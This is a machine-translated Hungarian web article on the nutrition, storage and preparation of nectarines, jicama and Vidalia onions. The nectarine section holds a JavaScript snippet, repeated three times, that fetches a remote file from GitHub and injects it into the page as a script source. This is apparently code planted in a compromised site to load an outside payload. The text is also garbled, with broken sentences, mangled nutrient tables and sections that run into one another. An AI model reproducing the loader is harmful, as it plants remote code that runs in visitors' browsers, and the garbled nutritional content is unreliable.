A

jicamák egész évben elérhetőek lehetnek a piacokon.

A nektarin ugyanúgy néz ki, mint az őszibarack. Ugyanakkor általában kisebb és sima felülete van, ellentétben a fuzzy -val a Peach esetében. Mint az őszibarackban, egy függőleges barázdával rendelkezik, amely a szárból a végéig terjed. Nectarine Blossom.Photo udvariasság: Basykes

Belső test, teste lédús; És a fajtától függően krémes sárga vagy fehér színű lehet, központilag elhelyezett egyetlen, kemény maggal (kő). A vetőmag nem ehető. A szabad vagy szorosan rögzített vetőmagtól függően a nektarinok szabadon vagy ragasztási fajtákba sorolhatók. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });) (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)

A nektarin egészségügyi előnyei

lédús, finom nektarin alacsony kalóriatartalmú (100 g csak 44 kalóriát biztosít), és nem tartalmaznak telített zsírokat. Valóban tele vannak számos egészséggel elősegítő antioxidánssal, növényi tápanyagokkal, ásványi anyagokkal és vitaminokkal.

A friss nektarin kis mennyiségű C-vitamint hordoz. A 100 g a napi ajánlott szintek 5,4 mg -ot, vagyis kb. 9% -át biztosítja. A C-vitamin egy erős vízben oldódó antioxidáns. Szükséges az emberi test kötőszövetképződéséhez. A C-vitaminban gazdag gyümölcsfogyasztás elősegíti a testnek a fertőző szerekkel szembeni ellenállás kialakulását, és segíti a káros szabad gyököket. E és flavonoid polifenolos antioxidánsok lutein, zeaxanthin és ß-kriptoxantin. Ezek a vegyületek segítenek védőszegélyekként működni az oxigénből származó szabad gyökök és a reaktív oxigénfajok (ROS) ellen, amelyek szerepet játszanak az öregedésben és a különféle betegség-folyamatokban. és a bőr. Az A-vitaminban gazdag természetes gyümölcsök fogyasztása ismert, hogy védelmet nyújt a tüdő- és szájüreg-rák ellen. Jó a niacin, a pantoténsav, a tiamin és a piridoxin esetében. Vasra van szükség a vörösvértestek képződéséhez. A kálium a sejt- és testfolyadékok fontos alkotóeleme, amely elősegíti a pulzusszám és a vérnyomás szabályozását. Prunus persica var. Nucipersica), friss, tápanyag -érték 100 g. (Forrás: USDA Nemzeti tápanyag -adatbázis). %Étrendi rost1,7 G5%vitaminfoliták5 µg1%niacin1,125 mg7%pantoténsav0,185 mg4%piridoxin0,025 mg2%riboflavin0,027 mg 2%thiamin0.034 mg3%vitamin A332 A332. 77 mg5%K2,2 µg2 -vitamin Electrolytesodium0 mg0%kálium201 mg4%ásványkalcium6 mg 0,6%ropper0,086 mg9%vas0,28 mg3,5%magnézium9 mg2%mangese0,54 mg2,5%foszforus26 mg4 cink 0,17 mg2%mg2%. Phyto-Nutrientscarotén-ß150 µg-Crypto-xantin-ß98 µg-lutein-zeaxanthin130 µg-

Kiválasztás és tárolás

nectarine szezon június közepétől június végéig tart. A gyümölcspiacokon többféle friss nektarin fajtával találkozhatunk. Keresse meg a sima felületű, jó ripen lágy gyümölcsöt. Ezenkívül kerülje el azokat, akiknek a felszíni foltok, összehúzódott, repedések és lyukasztások jelei vannak.

kissé kemény, de az érett nektarinokat szobahőmérsékleten lehet tartani, amíg meg nem érik. Internet Az érési folyamatot etilén spray -vel és más hasonló eljárásokkal javíthatjuk, amelyeket a banán érése közben alkalmaznak. A papírzsákban történő tárolás koncentrálja ezt a gázt, és felgyorsítja az érési folyamatot.

Az előkészítés és a tippek kiszolgálása

A lédús nektarinok ízletes ízű és édes krémes-sárga húsúak. Válasszon csak friss, érett gyümölcsöket; Az éretlenek meglehetősen savanyúak, és az ízesítésűek. A gyümölcs a bőrével együtt nyersen fogyasztható, mint az almában. Az ember két részre vághatja a gyümölcsöt, és késsel elválaszthatja a gödör (mag). Pontozjon egy kis keresztet a bázison. Mártsa be a forrásban lévő vizet csak egy percig, és azonnal merüljön a hideg vízbe, hogy gyorsan lehűljön. Ezután hámozza le a bőrt a kereszttől. TD> finom nektarin torta.hoto jóvoltából: Az alapvető vegetáriánus szakácskönyv.

Készítsen egy ínycsiklandó frech pirítósot nektarin kompóttal. és vegyes gyümölcs desszertek. A nektarin ritka. A gyermekek és a terhes nők számára jól tolerálják. Látogasson el ide, ha lenyűgözően listát talál az összes gyümölcsfajta számára, teljes illusztrációval táplálkozási tényeikről és egészségügyi előnyeikről. Erőforrások:

Peaches és nektarin-geach fajták. (A link új ablakban nyílik meg).

USDA Nemzeti tápanyag -adatbázis. Kerek, húsos taproot zöldség- vagy babcsalád növény. A föld alatti keményítői gyökér az egyik népszerű ehető gumi-vegetálható, amelyet Közép-Amerikai, Dél-Ázsia, a Karib-térség és néhány Andok dél-amerikai régiójában termesztettek. -Ablavored gumó nyersen fogyasztható, vagy különféle édes és ízletes ételekben főzhető világszerte.

Tudományos név: Pachyrhizus erosus. jicama gyökerek (P.erosus). Mexikói víz gesztenye, mexikói fehérrépa, Seng Kwang, Yacon. A Latin -Amerikában Hecama -ként ejtette ki. Indiában és Bangladesben ez a gumó Népszerű, mint Shank Aloo- (শাঁখ আলু) vagy Shankalu. Hasonló növekedési tulajdonságokkal rendelkezik, mint a lima bab vagy bármely más babfajnövény. A leginkább megkülönböztető tulajdonság azonban az, hogy gömb alakú, húsos, fehérrépa-szerű keményítői ehető gyökérrel rendelkezik a talaj felszíne alatt. Más keményítő gumókkal, például burgonyával és édesburgonyával ellentétben, ahol a héjat meg lehet enni; A jicama vastag rozsdás-barna, ártalmatlan bőrrel rendelkezik. Minden gumó súlya körülbelül 250–1200 g. Ugyanakkor csak három népszerű jicama kulturális pachyrhizus erosus (mexikói Yam Bean), Pachyrhizus Ahipa (Andan Yam Bean) és Pachyrhizus tuberosus (Amazonas Yam Bean, Jíquima). A P. erosus (‘Jícama de Leche’) vagy a mexikói Yam Bean az USA -ban behozott népszerű fajta. Egy másik fajta, P. palmatilobus, helyben „Jícama de Leche” néven ismert, mélyen lecsípte a szórólapokat, a Milky SAP -t és a valamivel kevésbé kellemes ízét. az egyik nagyon alacsony kalóriatartalmú gyökérzöldség. 100 g / g. Ennek ellenére kiváló minőségű fit-táplálkozási profilja étrendi rost- és antioxidánsokat tartalmaz, az ásványi anyagok és a vitaminok kis aránya mellett. Különösen kiváló oligofruktóz -inulin, oldódó étrendi rostforrás. A gyökérpép 4,9 mg vagy 13% rostot biztosít. Az inulin egy nulla kalóriatartalmú édes inert szénhidrát. Nem megy át a metabolizmuson a TheHuman test belsejében, ami a Jicamát ideális édes snackré teszi a cukorbetegek és a diéták számára. Biztosítson kb. 20,2 mg vagy 34% DRA-C-vitamin / 100 g. A-vitamin-C egy erőteljes vízoldható antioxidáns, amely elősegíti a káros szabad gyökök testének megsemmisítését, ezáltal védelmet nyújt a rákok, a gyulladások és a vírus köhögése és a hideg ellen. olyan vitaminok csoportja, mint a folátok, a riboflavin, a piridoxin, a pantoténsav és a tiamin. Táblázat>

Lásd az alábbi táblázatot a tápanyagok mélyreható elemzésében:

jicama táplálkozási profil (pachyrhizus erosus), friss, nyers, érték 100 g, (forrás: USDA nemzeti tápanyag -adatbázis) Az rdaenergia38 kcal2%szénhidrátok 8,82 g7%protein0,72 g1%fat0.19 gszonection és tároló

jicamák évfordulóban elérhetőek lehetnek a piacokon elérhetőek. Általában a közép-amerikai országokból a szárazföldi útvonalakon keresztül importálják őket, és tavasszal és nyáron elárasztják az USA-piacokat. Kerülje a lágy, összehúzott vagy gumókat, amelyek felületi vágásokkal, repedésekkel és zúzódott bőrrel rendelkeznek. Jó eltarthatósági időük van, és kb. 2-4 hétig jól tartják a hűvös, száraz, sötét helyen. A 10 ° C alatti hőmérsékletnek való kitettség a hűtés és a textúra hűtései által kiváltott változásokat eredményez. Ezenkívül a meghosszabbító tárolás a keményítőt cukorré alakítja, ami a gyökereket kevésbé keresi az ízletes ételekben.

Előkészítés és kiszolgáló módszerek

Mossa le hűvös folyó vízben, és szárítsa meg a rongyos mopot, akárcsak a többi gumókban. Húzza le a vastag rostos bőrt egy zöldséghámozóval vagy a paringkéssel. A bőr és más növényi alkatrészek rotenont, egy szerves méreget hordoznak, ezért el kell dobni. Ezután kockákra vágható, szeletelve vagy apróra vágható a kívánt módon. Főzéskor ropogós marad, és ez az egyik csodálatos zöldség keverékben. >

A nyers jicama édes, zamatos almás, mint a gyümölcsös ízű. Mexikó sok részén a friss gumókat kockákra/botokra vágják, lime juice -vel meghintik, sóval, olívaolajjal és paprikával vagy őrölt chili borssal öltözve, és élvezik! Főzzen, ahol salátákban, rabszolgaban, pörköltekben, keverőhálakban, levesekben stb.

Az amerikai kontinensen kívül ez a gumó sok délkeleti és délkeleti régióban a népszerű keményítőgyökér közé tartozik. Malajziában, ahol Bengkoang néven ismert, a friss fiatal gumókat szeleteljük és más gyümölcsökkel, például ananász, alma, nyers mangó, édesburgonya stb. Mint a maláj saláta, de hozzáadott Rujak -szószmal, amelyet pálmacukorból, tamarindból, garnélarákból, chili paprikából és pirított földimogyoróból készítenek. Ezenkívül Rujak Tumbuk-ként, ahol a fent említett összes összetevő egy fa habarcsban és banánlevélen szolgált. utcai ételek „chaat receptje”, párosítva Starfruit, chili és sós por és citromlé. tekercs.

Biztonsági profil

jicama növény jelentős szintű zsírban oldódó szerves toxint, rotenont tartalmaz. Ez a toxin különösen a levél tetejére, szárára és vetőmag -hüvelyekre koncentrálódik, de a gyökerek sokkal alacsonyabb koncentrációján. Számos tanulmány kimutatta, hogy ez kapcsolódik a Parkinson -kór kialakulásához. A rotenon sejtszinten működik, és több metabolikus enzimet gátol, mint például a NADH dehidrogenáz a mitokondriumokban. Kint környezetbarát széles spektrumú rovarirtóként, picicid (a halak mérgezésére) és a peszticidként használják. (Orvosi nyilatkozat). Látogasson el ide a zöldségek lenyűgöző listájáért, amelyek teljes illusztrációi vannak a táplálkozási tények és az egészség előnyeiről. USDA Nemzeti Tápanyag-adatbázis.

A rotenon mennyiségi meghatározása a Yam Bean (Pachyrhizus sp.) különféle fajok magjain SPE HPLC – UV módszerrel. Pdf. Ezt az enyhe ízesített, könnyű rózsaszínű hagymát speciális növényként termesztik az Egyesült Államok Georgia államában.

Tudományos név: Allium cepa. Fotó jóvoltából: Mike Mozart

Miért olyan különlegesek a Vidalia hagymák? Az Altamaha folyó (az Oconee folyó és az Ocmulgee folyó összefolyásának) körüli rendszerek körül az Egyesült Államok Georgia állam délnyugati részén. Enyhe ízük az alacsony kéntartalom miatt a talajban, a termelési területén található egyedi éghajlati viszonyokkal kombinálva. mint a vörös hagyma. Míg a 100 g friss Vidalia -nak mindössze 32 kalóriája van, a vörös hagyma 40 kalóriát tart. Ezek a fitokémiai vegyületek, amelyek csípős karaktert adnak a hagymának, enzimatikus reakción keresztül torzulásnak (zúzás, vágás stb.) Terjesztésnek vetik alá. ) és antidiabetikus tulajdonságok (elősegíti a cukorbetegek vércukorszintjének csökkentését). Gátolja a HMG-CoA reduktázt, a koleszterint termelő enzimet a májsejtekben. Ezenkívül azt is megállapította, hogy antibakteriális, vírusellenes és gombaellenes aktivitással rendelkezik. vérnyomás. Ezenkívül megakadályozza a vérlemezke -vérrög képződését az erekben, és ezáltal segíti a stroke, a koszorúér -betegség (CAD) és a perifériás érrendszeri betegségek (PVD) általános kockázatának csökkentését.